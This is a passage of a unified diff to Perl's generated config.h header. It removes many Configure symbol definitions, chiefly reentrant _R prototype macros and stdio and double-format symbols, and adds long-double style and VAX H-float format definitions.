- *	This symbol encodes the prototype of getprotoent_r.
- *	It is zero if d_getprotoent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotoent_r
- *	is defined.
- */
-/*#define HAS_GETPROTOENT_R	   / **/
-#define GETPROTOENT_R_PROTO 0	   /**/
-
-/* HAS_GETPROTO_PROTOS:
- *	This symbol, if defined, indicates that <netdb.h> includes
- *	prototypes for getprotoent(), getprotobyname(), and
- *	getprotobyaddr().  Otherwise, it is up to the program to guess
- *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
- */
-#define	HAS_GETPROTO_PROTOS	/**/
-
 /* HAS_GETPWENT:
  *	This symbol, if defined, indicates that the getpwent routine is
  *	available for sequential access of the passwd database.
@@ -1688,45 +1664,6 @@
  */
 /*#define HAS_GETPWENT		/ **/
 
-/* HAS_GETPWENT_R:
- *	This symbol, if defined, indicates that the getpwent_r routine
- *	is available to getpwent re-entrantly.
- */
-/* GETPWENT_R_PROTO:
- *	This symbol encodes the prototype of getpwent_r.
- *	It is zero if d_getpwent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwent_r
- *	is defined.
- */
-/*#define HAS_GETPWENT_R	   / **/
-#define GETPWENT_R_PROTO 0	   /**/
-
-/* HAS_GETPWNAM_R:
- *	This symbol, if defined, indicates that the getpwnam_r routine
- *	is available to getpwnam re-entrantly.
- */
-/* GETPWNAM_R_PROTO:
- *	This symbol encodes the prototype of getpwnam_r.
- *	It is zero if d_getpwnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwnam_r
- *	is defined.
- */
-/*#define HAS_GETPWNAM_R	   / **/
-#define GETPWNAM_R_PROTO 0	   /**/
-
-/* HAS_GETPWUID_R:
- *	This symbol, if defined, indicates that the getpwuid_r routine
- *	is available to getpwuid re-entrantly.
- */
-/* GETPWUID_R_PROTO:
- *	This symbol encodes the prototype of getpwuid_r.
- *	It is zero if d_getpwuid_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwuid_r
- *	is defined.
- */
-/*#define HAS_GETPWUID_R	   / **/
-#define GETPWUID_R_PROTO 0	   /**/
-
 /* HAS_GETSERVENT:
  *	This symbol, if defined, indicates that the getservent() routine is
  *	available to look up network services in some data base or another.
@@ -1733,66 +1670,6 @@
  */
 /*#define HAS_GETSERVENT		/ **/
 
-/* HAS_GETSERVBYNAME_R:
- *	This symbol, if defined, indicates that the getservbyname_r routine
- *	is available to getservbyname re-entrantly.
- */
-/* GETSERVBYNAME_R_PROTO:
- *	This symbol encodes the prototype of getservbyname_r.
- *	It is zero if d_getservbyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyname_r
- *	is defined.
- */
-/*#define HAS_GETSERVBYNAME_R	   / **/
-#define GETSERVBYNAME_R_PROTO 0	   /**/
-
-/* HAS_GETSERVBYPORT_R:
- *	This symbol, if defined, indicates that the getservbyport_r routine
- *	is available to getservbyport re-entrantly.
- */
-/* GETSERVBYPORT_R_PROTO:
- *	This symbol encodes the prototype of getservbyport_r.
- *	It is zero if d_getservbyport_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyport_r
- *	is defined.
- */
-/*#define HAS_GETSERVBYPORT_R	   / **/
-#define GETSERVBYPORT_R_PROTO 0	   /**/
-
-/* HAS_GETSERVENT_R:
- *	This symbol, if defined, indicates that the getservent_r routine
- *	is available to getservent re-entrantly.
- */
-/* GETSERVENT_R_PROTO:
- *	This symbol encodes the prototype of getservent_r.
- *	It is zero if d_getservent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservent_r
- *	is defined.
- */
-/*#define HAS_GETSERVENT_R	   / **/
-#define GETSERVENT_R_PROTO 0	   /**/
-
-/* HAS_GETSERV_PROTOS:
- *	This symbol, if defined, indicates that <netdb.h> includes
- *	prototypes for getservent(), getservbyname(), and
- *	getservbyaddr().  Otherwise, it is up to the program to guess
- *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
- */
-#define	HAS_GETSERV_PROTOS	/**/
-
-/* HAS_GETSPNAM_R:
- *	This symbol, if defined, indicates that the getspnam_r routine
- *	is available to getspnam re-entrantly.
- */
-/* GETSPNAM_R_PROTO:
- *	This symbol encodes the prototype of getspnam_r.
- *	It is zero if d_getspnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getspnam_r
- *	is defined.
- */
-/*#define HAS_GETSPNAM_R	   / **/
-#define GETSPNAM_R_PROTO 0	   /**/
-
 /* HAS_GETSERVBYNAME:
  *	This symbol, if defined, indicates that the getservbyname()
  *	routine is available to look up services by their name.
@@ -1804,29 +1681,6 @@
 #define HAS_GETSERVBYNAME		/**/
 #define HAS_GETSERVBYPORT		/**/
 
-/* HAS_GMTIME_R:
- *	This symbol, if defined, indicates that the gmtime_r routine
- *	is available to gmtime re-entrantly.
- */
-/* GMTIME_R_PROTO:
- *	This symbol encodes the prototype of gmtime_r.
- *	It is zero if d_gmtime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gmtime_r
- *	is defined.
- */
-/*#define HAS_GMTIME_R	   / **/
-#define GMTIME_R_PROTO 0	   /**/
-
-/* HAS_GNULIBC:
- *	This symbol, if defined, indicates to the C program that
- *	the GNU C library is being used.  A better check is to use
- *	the __GLIBC__ and __GLIBC_MINOR__ symbols supplied with glibc.
- */
-/*#define HAS_GNULIBC  	/ **/
-#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE)
-#   define _GNU_SOURCE
-#endif
-
 /* HAS_HTONL:
  *	This symbol, if defined, indicates that the htonl() routine (and
  *	friends htons() ntohl() ntohs()) are available to do network
@@ -1852,45 +1706,6 @@
 #define HAS_NTOHL		/**/
 #define HAS_NTOHS		/**/
 
-/* HAS_ISASCII:
- *	This manifest constant lets the C program know that isascii
- *	is available.
- */
-#define HAS_ISASCII		/**/
-
-/* HAS_LCHOWN:
- *	This symbol, if defined, indicates that the lchown routine is
- *	available to operate on a symbolic link (instead of following the
- *	link).
- */
-/*#define HAS_LCHOWN		/ **/
-
-/* HAS_LOCALTIME_R:
- *	This symbol, if defined, indicates that the localtime_r routine
- *	is available to localtime re-entrantly.
- */
-/* LOCALTIME_R_NEEDS_TZSET:
- *	Many libc's localtime_r implementations do not call tzset,
- *	making them differ from localtime(), and making timezone
- *	changes using \undef{TZ} without explicitly calling tzset
- *	impossible. This symbol makes us call tzset before localtime_r
- */
-/*#define LOCALTIME_R_NEEDS_TZSET / **/
-#ifdef LOCALTIME_R_NEEDS_TZSET
-#define L_R_TZSET tzset(),
-#else
-#define L_R_TZSET
-#endif
-
-/* LOCALTIME_R_PROTO:
- *	This symbol encodes the prototype of localtime_r.
- *	It is zero if d_localtime_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_localtime_r
- *	is defined.
- */
-/*#define HAS_LOCALTIME_R	   / **/
-#define LOCALTIME_R_PROTO 0	   /**/
-
 /* HAS_LONG_DOUBLE:
  *	This symbol will be defined if the C compiler supports long
  *	doubles.
@@ -1898,7 +1713,8 @@
 /* LONG_DOUBLESIZE:
  *	This symbol contains the size of a long double, so that the
  *	C preprocessor can make decisions based on it.  It is only
- *	defined if the system supports long doubles.
+ *	defined if the system supports long doubles.  Note that this
+ *	is sizeof(long double), which may include unused bytes.
  */
 /* HAS_LDEXPL:
  *	This symbol, if defined, indicates that the ldexpl routine is
@@ -1916,9 +1732,34 @@
  *	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE
  *	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_BE
  *	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_LE
+ *	LONG_DOUBLE_IS_VAX_H_FLOAT
  *	LONG_DOUBLE_IS_UNKNOWN_FORMAT
  *	It is only defined if the system supports long doubles.
  */
+/* LONG_DOUBLE_STYLE_IEEE:
+ *	This symbol, if defined, indicates that the long double
+ *	is any of the IEEE 754 style long doubles:
+ *	LONG_DOUBLE_STYLE_IEEE_STD, LONG_DOUBLE_STYLE_IEEE_EXTENDED,
+ *	LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE.
+ */
+/* LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 128-bit double-double.
+ */
+/* LONG_DOUBLE_STYLE_IEEE_EXTENDED:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 80-bit IEEE 754. Note that despite the 'extended' this
+ *	is less than the 'std', since this is an extension of
+ *	the double precision.
+ */
+/* LONG_DOUBLE_STYLE_IEEE_STD:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 128-bit IEEE 754.
+ */
+/* LONG_DOUBLE_STYLE_VAX:
+ *	This symbol, if defined, indicates that the long double is
+ *	the 128-bit VAX format H.
+ */
 /*#define  HAS_LDEXPL		/ **/
 #define HAS_LONG_DOUBLE		/**/
 #ifdef HAS_LONG_DOUBLE
@@ -1933,7 +1774,15 @@
 #define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE	6
 #define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_BE	7
 #define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_LE	8
+#define LONG_DOUBLE_IS_VAX_H_FLOAT			9
 #define LONG_DOUBLE_IS_UNKNOWN_FORMAT			-1
+#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LITTLE_ENDIAN	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_LE /* back-compat */
+#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BIG_ENDIAN	LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE /* back-compat */
+#undef LONG_DOUBLE_STYLE_IEEE
+#undef LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE
+#define LONG_DOUBLE_STYLE_IEEE_EXTENDED
+#undef LONG_DOUBLE_STYLE_IEEE_STD
+#undef LONG_DOUBLE_STYLE_VAX
 #endif
 
 /* HAS_LONG_LONG:
@@ -1949,20 +1798,6 @@
 #define LONGLONGSIZE 8		/**/
 #endif
 
-/* HAS_LSEEK_PROTO:
- *	This symbol, if defined, indicates that the system provides
- *	a prototype for the lseek() function.  Otherwise, it is up
- *	to the program to supply one.  A good guess is
- *		extern off_t lseek(int, off_t, int);
- */
-#define	HAS_LSEEK_PROTO	/**/
-
-/* HAS_MEMCHR:
- *	This symbol, if defined, indicates that the memchr routine is available
- *	to locate characters within a C string.
- */
-#define HAS_MEMCHR	/**/
-
 /* HAS_MKSTEMP:
  *	This symbol, if defined, indicates that the mkstemp routine is
  *	available to exclusively create and open a uniquely named
@@ -1988,109 +1823,6 @@
  */
 /*#define HAS_MSG		/ **/
 
-/* HAS_OPEN3:
- *	This manifest constant lets the C program know that the three
- *	argument form of open(2) is available.
- */
-/*#define HAS_OPEN3		/ **/
-
-/* OLD_PTHREAD_CREATE_JOINABLE:
- *	This symbol, if defined, indicates how to create pthread
- *	in joinable (aka undetached) state.  NOTE: not defined
- *	if pthread.h already has defined PTHREAD_CREATE_JOINABLE
- *	(the new version of the constant).
- *	If defined, known values are PTHREAD_CREATE_UNDETACHED
- *	and __UNDETACHED.
- */
-/*#define OLD_PTHREAD_CREATE_JOINABLE  / **/
-
-/* HAS_PTHREAD_ATFORK:
- *	This symbol, if defined, indicates that the pthread_atfork routine
- *	is available to setup fork handlers.
- */
-/*#define HAS_PTHREAD_ATFORK		/ **/
-
-/* HAS_PTHREAD_YIELD:
- *	This symbol, if defined, indicates that the pthread_yield
- *	routine is available to yield the execution of the current
- *	thread.	 sched_yield is preferable to pthread_yield.
- */
-/* SCHED_YIELD:
- *	This symbol defines the way to yield the execution of
- *	the current thread.  Known ways are sched_yield,
- *	pthread_yield, and pthread_yield with NULL.
- */
-/* HAS_SCHED_YIELD:
- *	This symbol, if defined, indicates that the sched_yield
- *	routine is available to yield the execution of the current
- *	thread.	 sched_yield is preferable to pthread_yield.
- */
-/*#define HAS_PTHREAD_YIELD	/ **/
-#define SCHED_YIELD		/**/
-/*#define HAS_SCHED_YIELD	/ **/
-
-/* HAS_RANDOM_R:
- *	This symbol, if defined, indicates that the random_r routine
- *	is available to random re-entrantly.
- */
-/* RANDOM_R_PROTO:
- *	This symbol encodes the prototype of random_r.
- *	It is zero if d_random_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_random_r
- *	is defined.
- */
-/*#define HAS_RANDOM_R	   / **/
-#define RANDOM_R_PROTO 0	   /**/
-
-/* HAS_READDIR64_R:
- *	This symbol, if defined, indicates that the readdir64_r routine
- *	is available to readdir64 re-entrantly.
- */
-/* READDIR64_R_PROTO:
- *	This symbol encodes the prototype of readdir64_r.
- *	It is zero if d_readdir64_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir64_r
- *	is defined.
- */
-/*#define HAS_READDIR64_R	   / **/
-#define READDIR64_R_PROTO 0	   /**/
-
-/* HAS_READDIR_R:
- *	This symbol, if defined, indicates that the readdir_r routine
- *	is available to readdir re-entrantly.
- */
-/* READDIR_R_PROTO:
- *	This symbol encodes the prototype of readdir_r.
- *	It is zero if d_readdir_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir_r
- *	is defined.
- */
-/*#define HAS_READDIR_R	   / **/
-#define READDIR_R_PROTO 0	   /**/
-
-/* HAS_SAFE_BCOPY:
- *	This symbol, if defined, indicates that the bcopy routine is available
- *	to copy potentially overlapping memory blocks. Normally, you should
- *	probably use memmove() or memcpy(). If neither is defined, roll your
- *	own version.
- */
-/*#define HAS_SAFE_BCOPY	/ **/
-
-/* HAS_SAFE_MEMCPY:
- *	This symbol, if defined, indicates that the memcpy routine is available
- *	to copy potentially overlapping memory blocks.  If you need to
- *	copy overlapping memory blocks, you should check HAS_MEMMOVE and
- *	use memmove() instead, if available.
- */
-/*#define HAS_SAFE_MEMCPY	/ **/
-
-/* HAS_SANE_MEMCMP:
- *	This symbol, if defined, indicates that the memcmp routine is available
- *	and can be used to compare relative magnitudes of chars with their high
- *	bits set.  If it is not defined, roll your own version.
- */
-#define HAS_SANE_MEMCMP	/**/
-
 /* HAS_SEM:
  *	This symbol, if defined, indicates that the entire sem*(2) library is
  *	supported.
@@ -2103,19 +1835,6 @@
  */
 /*#define HAS_SETGRENT		/ **/
 
-/* HAS_SETGRENT_R:
- *	This symbol, if defined, indicates that the setgrent_r routine
- *	is available to setgrent re-entrantly.
- */
-/* SETGRENT_R_PROTO:
- *	This symbol encodes the prototype of setgrent_r.
- *	It is zero if d_setgrent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setgrent_r
- *	is defined.
- */
-/*#define HAS_SETGRENT_R	   / **/
-#define SETGRENT_R_PROTO 0	   /**/
-
 /* HAS_SETHOSTENT:
  *	This symbol, if defined, indicates that the sethostent() routine is
  *	available.
@@ -2122,32 +1841,6 @@
  */
 /*#define HAS_SETHOSTENT		/ **/
 
-/* HAS_SETHOSTENT_R:
- *	This symbol, if defined, indicates that the sethostent_r routine
- *	is available to sethostent re-entrantly.
- */
-/* SETHOSTENT_R_PROTO:
- *	This symbol encodes the prototype of sethostent_r.
- *	It is zero if d_sethostent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_sethostent_r
- *	is defined.
- */
-/*#define HAS_SETHOSTENT_R	   / **/
-#define SETHOSTENT_R_PROTO 0	   /**/
-
-/* HAS_SETLOCALE_R:
- *	This symbol, if defined, indicates that the setlocale_r routine
- *	is available to setlocale re-entrantly.
- */
-/* SETLOCALE_R_PROTO:
- *	This symbol encodes the prototype of setlocale_r.
- *	It is zero if d_setlocale_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setlocale_r
- *	is defined.
- */
-/*#define HAS_SETLOCALE_R	   / **/
-#define SETLOCALE_R_PROTO 0	   /**/
-
 /* HAS_SETNETENT:
  *	This symbol, if defined, indicates that the setnetent() routine is
  *	available.
@@ -2154,19 +1847,6 @@
  */
 /*#define HAS_SETNETENT		/ **/
 
-/* HAS_SETNETENT_R:
- *	This symbol, if defined, indicates that the setnetent_r routine
- *	is available to setnetent re-entrantly.
- */
-/* SETNETENT_R_PROTO:
- *	This symbol encodes the prototype of setnetent_r.
- *	It is zero if d_setnetent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setnetent_r
- *	is defined.
- */
-/*#define HAS_SETNETENT_R	   / **/
-#define SETNETENT_R_PROTO 0	   /**/
-
 /* HAS_SETPROTOENT:
  *	This symbol, if defined, indicates that the setprotoent() routine is
  *	available.
@@ -2185,19 +1865,6 @@
 /*#define HAS_SETPGRP		/ **/
 /*#define USE_BSD_SETPGRP	/ **/
 
-/* HAS_SETPROTOENT_R:
- *	This symbol, if defined, indicates that the setprotoent_r routine
- *	is available to setprotoent re-entrantly.
- */
-/* SETPROTOENT_R_PROTO:
- *	This symbol encodes the prototype of setprotoent_r.
- *	It is zero if d_setprotoent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setprotoent_r
- *	is defined.
- */
-/*#define HAS_SETPROTOENT_R	   / **/
-#define SETPROTOENT_R_PROTO 0	   /**/
-
 /* HAS_SETPWENT:
  *	This symbol, if defined, indicates that the setpwent routine is
  *	available for initializing sequential access of the passwd database.
@@ -2204,19 +1871,6 @@
  */
 /*#define HAS_SETPWENT		/ **/
 
-/* HAS_SETPWENT_R:
- *	This symbol, if defined, indicates that the setpwent_r routine
- *	is available to setpwent re-entrantly.
- */
-/* SETPWENT_R_PROTO:
- *	This symbol encodes the prototype of setpwent_r.
- *	It is zero if d_setpwent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setpwent_r
- *	is defined.
- */
-/*#define HAS_SETPWENT_R	   / **/
-#define SETPWENT_R_PROTO 0	   /**/
-
 /* HAS_SETSERVENT:
  *	This symbol, if defined, indicates that the setservent() routine is
  *	available.
@@ -2223,19 +1877,6 @@
  */
 /*#define HAS_SETSERVENT		/ **/
 
-/* HAS_SETSERVENT_R:
- *	This symbol, if defined, indicates that the setservent_r routine
- *	is available to setservent re-entrantly.
- */
-/* SETSERVENT_R_PROTO:
- *	This symbol encodes the prototype of setservent_r.
- *	It is zero if d_setservent_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setservent_r
- *	is defined.
- */
-/*#define HAS_SETSERVENT_R	   / **/
-#define SETSERVENT_R_PROTO 0	   /**/
-
 /* HAS_SETVBUF:
  *	This symbol, if defined, indicates that the setvbuf routine is
  *	available to change buffering on an open stdio stream.
@@ -2263,43 +1904,6 @@
 #define Shmat_t void *	/**/
 /*#define HAS_SHMAT_PROTOTYPE	/ **/
 
-/* HAS_SIGACTION:
- *	This symbol, if defined, indicates that Vr4's sigaction() routine
- *	is available.
- */
-/*#define HAS_SIGACTION	/ **/
-
-/* HAS_SIGSETJMP:
- *	This variable indicates to the C program that the sigsetjmp()
- *	routine is available to save the calling process's registers
- *	and stack environment for later use by siglongjmp(), and
- *	to optionally save the process's signal mask.  See
- *	Sigjmp_buf, Sigsetjmp, and Siglongjmp.
- */
-/* Sigjmp_buf:
- *	This is the buffer type to be used with Sigsetjmp and Siglongjmp.
- */
-/* Sigsetjmp:
- *	This macro is used in the same way as sigsetjmp(), but will invoke
- *	traditional setjmp() if sigsetjmp isn't available.
- *	See HAS_SIGSETJMP.
- */
-/* Siglongjmp:
- *	This macro is used in the same way as siglongjmp(), but will invoke
- *	traditional longjmp() if siglongjmp isn't available.
- *	See HAS_SIGSETJMP.
- */
-/*#define HAS_SIGSETJMP	/ **/
-#ifdef HAS_SIGSETJMP
-#define Sigjmp_buf sigjmp_buf
-#define Sigsetjmp(buf,save_mask) sigsetjmp((buf),(save_mask))
-#define Siglongjmp(buf,retval) siglongjmp((buf),(retval))
-#else
-#define Sigjmp_buf jmp_buf
-#define Sigsetjmp(buf,save_mask) setjmp((buf))
-#define Siglongjmp(buf,retval) longjmp((buf),(retval))
-#endif
-
 /* HAS_SOCKET:
  *	This symbol, if defined, indicates that the BSD socket interface is
  *	supported.
@@ -2347,32 +1951,6 @@
 /*#define	HAS_IPV6_MREQ	/ **/
 /*#define	HAS_IPV6_MREQ_SOURCE	/ **/
 
-/* HAS_SRAND48_R:
- *	This symbol, if defined, indicates that the srand48_r routine
- *	is available to srand48 re-entrantly.
- */
-/* SRAND48_R_PROTO:
- *	This symbol encodes the prototype of srand48_r.
- *	It is zero if d_srand48_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srand48_r
- *	is defined.
- */
-/*#define HAS_SRAND48_R	   / **/
-#define SRAND48_R_PROTO 0	   /**/
-
-/* HAS_SRANDOM_R:
- *	This symbol, if defined, indicates that the srandom_r routine
- *	is available to srandom re-entrantly.
- */
-/* SRANDOM_R_PROTO:
- *	This symbol encodes the prototype of srandom_r.
- *	It is zero if d_srandom_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srandom_r
- *	is defined.
- */
-/*#define HAS_SRANDOM_R	   / **/
-#define SRANDOM_R_PROTO 0	   /**/
-
 /* USE_STAT_BLOCKS:
  *	This symbol is defined if this system has a stat structure declaring
  *	st_blksize and st_blocks.
@@ -2381,136 +1959,13 @@
 /*#define USE_STAT_BLOCKS 	/ **/
 #endif
 
-/* HAS_STATIC_INLINE:
- *	This symbol, if defined, indicates that the C compiler supports
- *	C99-style static inline.  That is, the function can't be called
- *	from another translation unit.
- */
-/* PERL_STATIC_INLINE:
- *	This symbol gives the best-guess incantation to use for static
- *	inline functions.  If HAS_STATIC_INLINE is defined, this will
- *	give C99-style inline.  If HAS_STATIC_INLINE is not defined,
- *	this will give a plain 'static'.  It will always be defined
- *	to something that gives static linkage.
- *	Possibilities include
- *		static inline       (c99)
- *		static __inline__   (gcc -ansi)
- *		static __inline     (MSVC)
- *		static _inline      (older MSVC)
- *		static              (c89 compilers)
- */
-#define HAS_STATIC_INLINE				/**/
-#define PERL_STATIC_INLINE static __inline	/**/
-
-/* USE_STDIO_PTR:
- *	This symbol is defined if the _ptr and _cnt fields (or similar)
- *	of the stdio FILE structure can be used to access the stdio buffer
- *	for a file handle.  If this is defined, then the FILE_ptr(fp)
- *	and FILE_cnt(fp) macros will also be defined and should be used
- *	to access these fields.
- */
-/* FILE_ptr:
- *	This macro is used to access the _ptr field (or equivalent) of the
- *	FILE structure pointed to by its argument. This macro will always be
- *	defined if USE_STDIO_PTR is defined.
- */
-/* STDIO_PTR_LVALUE:
- *	This symbol is defined if the FILE_ptr macro can be used as an
- *	lvalue.
- */
-/* FILE_cnt:
- *	This macro is used to access the _cnt field (or equivalent) of the
- *	FILE structure pointed to by its argument. This macro will always be
- *	defined if USE_STDIO_PTR is defined.
- */
-/* STDIO_CNT_LVALUE:
- *	This symbol is defined if the FILE_cnt macro can be used as an
- *	lvalue.
- */
-/* STDIO_PTR_LVAL_SETS_CNT:
- *	This symbol is defined if using the FILE_ptr macro as an lvalue
- *	to increase the pointer by n has the side effect of decreasing the
- *	value of File_cnt(fp) by n.
- */
-/* STDIO_PTR_LVAL_NOCHANGE_CNT:
- *	This symbol is defined if using the FILE_ptr macro as an lvalue
- *	to increase the pointer by n leaves File_cnt(fp) unchanged.
- */
-#define USE_STDIO_PTR 	/**/
-#ifdef USE_STDIO_PTR
-#define FILE_ptr(fp)	((fp)->_ptr)
-#define STDIO_PTR_LVALUE 		/**/
-#define FILE_cnt(fp)	((fp)->_cnt)
-#define STDIO_CNT_LVALUE 		/**/
-/*#define STDIO_PTR_LVAL_SETS_CNT	/ **/
-#define STDIO_PTR_LVAL_NOCHANGE_CNT	/**/
-#endif
-
-/* USE_STDIO_BASE:
- *	This symbol is defined if the _base field (or similar) of the
- *	stdio FILE structure can be used to access the stdio buffer for
- *	a file handle.  If this is defined, then the FILE_base(fp) macro
- *	will also be defined and should be used to access this field.
- *	Also, the FILE_bufsiz(fp) macro will be defined and should be used
- *	to determine the number of bytes in the buffer.  USE_STDIO_BASE
- *	will never be defined unless USE_STDIO_PTR is.
- */
-/* FILE_base:
- *	This macro is used to access the _base field (or equivalent) of the
- *	FILE structure pointed to by its argument. This macro will always be
- *	defined if USE_STDIO_BASE is defined.
- */
-/* FILE_bufsiz:
- *	This macro is used to determine the number of bytes in the I/O
- *	buffer pointed to by _base field (or equivalent) of the FILE
- *	structure pointed to its argument. This macro will always be defined
- *	if USE_STDIO_BASE is defined.
- */
-#define USE_STDIO_BASE 	/**/
-#ifdef USE_STDIO_BASE
-#define FILE_base(fp)	((fp)->_base)
-#define FILE_bufsiz(fp)	((fp)->_cnt + (fp)->_ptr - (fp)->_base)
-#endif
-
-/* USE_STRUCT_COPY:
- *	This symbol, if defined, indicates that this C compiler knows how
- *	to copy structures.  If undefined, you'll need to use a block copy
- *	routine of some sort instead.
- */
-#define	USE_STRUCT_COPY	/**/
-
-/* HAS_STRERROR:
- *	This symbol, if defined, indicates that the strerror routine is
- *	available to translate error numbers to strings. See the writeup
- *	of Strerror() in this file before you try to define your own.
- */
 /* HAS_SYS_ERRLIST:
  *	This symbol, if defined, indicates that the sys_errlist array is
  *	available to translate error numbers to strings. The extern int
  *	sys_nerr gives the size of that table.
  */
-/* Strerror:
- *	This preprocessor symbol is defined as a macro if strerror() is
- *	not available to translate error numbers to strings but sys_errlist[]
- *	array is there.
- */
-#define HAS_STRERROR		/**/
 #define HAS_SYS_ERRLIST	/**/
-#define Strerror(e) strerror(e)
 
-/* HAS_STRERROR_R:
- *	This symbol, if defined, indicates that the strerror_r routine
- *	is available to strerror re-entrantly.
- */
-/* STRERROR_R_PROTO:
- *	This symbol encodes the prototype of strerror_r.
- *	It is zero if d_strerror_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r
- *	is defined.
- */
-/*#define HAS_STRERROR_R	   / **/
-#define STRERROR_R_PROTO 0	   /**/
-
 /* HAS_STRTOUL:
  *	This symbol, if defined, indicates that the strtoul routine is
  *	available to provide conversion of strings to unsigned long.
@@ -2517,50 +1972,6 @@
  */
 #define HAS_STRTOUL	/**/
 
-/* HAS_TIME:
- *	This symbol, if defined, indicates that the time() routine exists.
- */
-/* Time_t:
- *	This symbol holds the type returned by time(). It can be long,
- *	or time_t on BSD sites (in which case <sys/types.h> should be
- *	included).
- */
-#define HAS_TIME		/**/
-#define Time_t time_t		/* Time type */
-
-/* HAS_TIMES:
- *	This symbol, if defined, indicates that the times() routine exists.
- *	Note that this became obsolete on some systems (SUNOS), which now
- * use getrusage(). It may be necessary to include <sys/times.h>.
- */
-#define HAS_TIMES		/**/
-
-/* HAS_TMPNAM_R:
- *	This symbol, if defined, indicates that the tmpnam_r routine
- *	is available to tmpnam re-entrantly.
- */
-/* TMPNAM_R_PROTO:
- *	This symbol encodes the prototype of tmpnam_r.
- *	It is zero if d_tmpnam_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_tmpnam_r
- *	is defined.
- */
-/*#define HAS_TMPNAM_R	   / **/
-#define TMPNAM_R_PROTO 0	   /**/
-
-/* HAS_TTYNAME_R:
- *	This symbol, if defined, indicates that the ttyname_r routine
- *	is available to ttyname re-entrantly.
- */
-/* TTYNAME_R_PROTO:
- *	This symbol encodes the prototype of ttyname_r.
- *	It is zero if d_ttyname_r is undef, and one of the
- *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ttyname_r
- *	is defined.
- */
-/*#define HAS_TTYNAME_R	   / **/
-#define TTYNAME_R_PROTO 0	   /**/
-
 /* HAS_UNION_SEMUN:
  *	This symbol, if defined, indicates that the union semun is
  *	defined by including <sys/sem.h>.  If not, the user code
@@ -2602,154 +2013,6 @@
  */
 #define Signal_t void	/* Signal handler's return type */
 
-/* HASVOLATILE:
- *	This symbol, if defined, indicates that this C compiler knows about
- *	the volatile declaration.
- */
-#define	HASVOLATILE	/**/
-#ifndef HASVOLATILE
-#define volatile
-#endif
-
-/* HAS_VPRINTF:
- *	This symbol, if defined, indicates that the vprintf routine is available
- *	to printf with a pointer to an argument list.  If unavailable, you
- *	may need to write your own, probably in terms of _doprnt().
- */
-/* USE_CHAR_VSPRINTF:
- *	This symbol is defined if this system has vsprintf() returning type
- *	(char*).  The trend seems to be to declare it as "int vsprintf()".  It
- *	is up to the package author to declare vsprintf correctly based on the
- *	symbol.
- */
-#define HAS_VPRINTF	/**/
-/*#define USE_CHAR_VSPRINTF 	/ **/
-
-/* DOUBLESIZE:
- *	This symbol contains the size of a double, so that the C preprocessor
- *	can make decisions based on it.
- */
-#define DOUBLESIZE 8		/**/
-
-/* DOUBLE_STYLE_IEEE
- *	This symbol, if defined, indicates that the double is
- *	the 64-bit IEEE 754.
- */
-/* DOUBLE_HAS_INF
- *	This symbol, if defined, indicates that the double has
- *	the infinity.
- */
-/* DOUBLE_HAS_NAN
- *	This symbol, if defined, indicates that the double has
- *	the not-a-number.
- */
-/* DOUBLE_HAS_NEGATIVE_ZERO
- *	This symbol, if defined, indicates that the double has
- *	the negative_zero.
- */
-/* DOUBLE_HAS_SUBNORMALS
- *	This symbol, if defined, indicates that the double has
- *	the subnormals (denormals).
- */
-#define DOUBLE_STYLE_IEEE
-#define DOUBLE_HAS_INF
-#define DOUBLE_HAS_INF
-#define DOUBLE_HAS_NEGATIVE_ZERO
-#define DOUBLE_HAS_SUBNORMALS
-
